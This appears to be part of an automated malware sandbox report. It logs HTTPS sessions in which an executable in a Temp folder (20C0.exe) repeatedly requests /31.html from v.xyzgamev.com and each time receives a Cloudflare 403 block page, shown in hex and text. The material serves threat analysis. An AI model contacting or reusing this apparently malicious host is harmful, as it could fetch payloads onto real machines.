2022-08-31 12:29:13 UTC	4860	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:28 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gvlrxfU4%2F0%2BkMQP%2BDhf8QwI%2FToImF%2FO85EQKS8WPANZrAvc6hZzY2LX7O3j1YCX5NPHVf0J9dI3TnBxYksecGxtgczoBB9Y5zdNNBvUF4r3EzrctLkQ7IViepNMu0%2FTccg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c53fda4872fc-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:13 UTC	4861	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:13 UTC	4861	IN	Data Raw: 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 Data Ascii: ss" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.c
2022-08-31 12:29:13 UTC	4863	IN	Data Raw: 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 Data Ascii: ss="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from
2022-08-31 12:29:13 UTC	4864	IN	Data Raw: 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hi
2022-08-31 12:29:13 UTC	4865	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49776	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:13 UTC	4865	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:13 UTC	4865	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:28 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q9e%2BBTRxXUoxvHcAL8gZ4KeyTt4x4ge6g4EsO%2BgqElsNOU%2FJYtd84wl920oLjNAD6itT6P%2B6LnZU4cBNevFEuUQ1iV8vdMtIyqTm9EraUnqZONgL1mPqZYE81ACS30k7aw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5410fb3909c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:13 UTC	4866	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:13 UTC	4867	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:29:13 UTC	4868	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:13 UTC	4869	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:13 UTC	4870	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49779	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:16 UTC	4870	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:16 UTC	4870	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:31 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2oDc6xUASDXSShWGltWrkNZlXX76TImmz6bhAArHqGR0H3pOaba7h9%2FqoPK7VZVZeEAeODF0TEgTXCm1d%2FeB0hM%2Bde5cZOpvqadI8si4RvMAeXJ9c%2FLfTQzFmkVHb3fqHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c550d8a1892a-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:16 UTC	4871	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:16 UTC	4872	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:29:16 UTC	4873	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:16 UTC	4874	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:16 UTC	4876	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49780	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:16 UTC	4876	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:16 UTC	4876	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:31 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K8%2FHRGKy7Hk8H26e6pBN7PClGM4Pbq2AErh5Jn33CPVAn%2Fj5pfu9mls1zOyFxnra0tfvv8YbZrbnvDBUxfiH%2BMDuGL1xgGAGdOqaGtaXLKNSaHzSZkGmcDxxwEUORtvsYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5548f889159-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:16 UTC	4876	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:16 UTC	4877	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:16 UTC	4878	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:16 UTC	4880	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:16 UTC	4881	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49782	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:17 UTC	4881	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
